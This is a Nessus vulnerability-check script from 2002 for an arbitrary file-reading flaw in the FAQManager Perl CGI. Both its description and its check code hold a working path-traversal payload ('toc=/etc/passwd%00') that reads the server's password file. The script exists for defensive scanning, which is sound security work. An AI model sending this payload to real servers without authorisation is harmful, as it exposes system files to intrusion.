# # This script was written by Matt Moore # # See the Nessus Scripts License for details # if(description) { script_id(10837); script_bugtraq_id(3810); script_version ("$Revision$"); name["english"] = "FAQManager Arbitrary File Reading Vulnerability"; name["francais"] = "FAQManager Arbitrary File Reading Vulnerability"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = "FAQManager is a Perl-based CGI for maintaining a list of Frequently asked Questions. Due to poor input validation it is possible to use this CGI to view arbitrary files on the web server. For example: http://www.someserver.com/cgi-bin/faqmanager.cgi?toc=/etc/passwd%00 Solution: A new version of FAQManager is available at: www.fourteenminutes.com/code/faqmanager/ Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Tests for FAQManager Arbitrary File Reading Vulnerability"; script_summary(english:summary["english"]); script_category(ACT_ATTACK); script_copyright(english:"This script is Copyright (C) 2002 Matt Moore", francais:"Ce script est Copyright (C) 2002 Matt Moore"); family["english"] = "CGI abuses"; family["francais"] = "Abus de CGI"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "no404.nasl"); script_require_ports("Services/www", 80); exit(0); } # Check starts here include("http_func.inc"); port = get_kb_item("Services/www"); if(!port)port = 80; if(get_port_state(port)) { req = http_get(item:"/cgi-bin/faqmanager.cgi?toc=/etc/passwd%00", port:port); soc = http_open_socket(port); if(soc) { send(socket:soc, data:req); r = http_recv(socket:soc); http_close_socket(soc); if("root:" >< r) security_hole(port); } }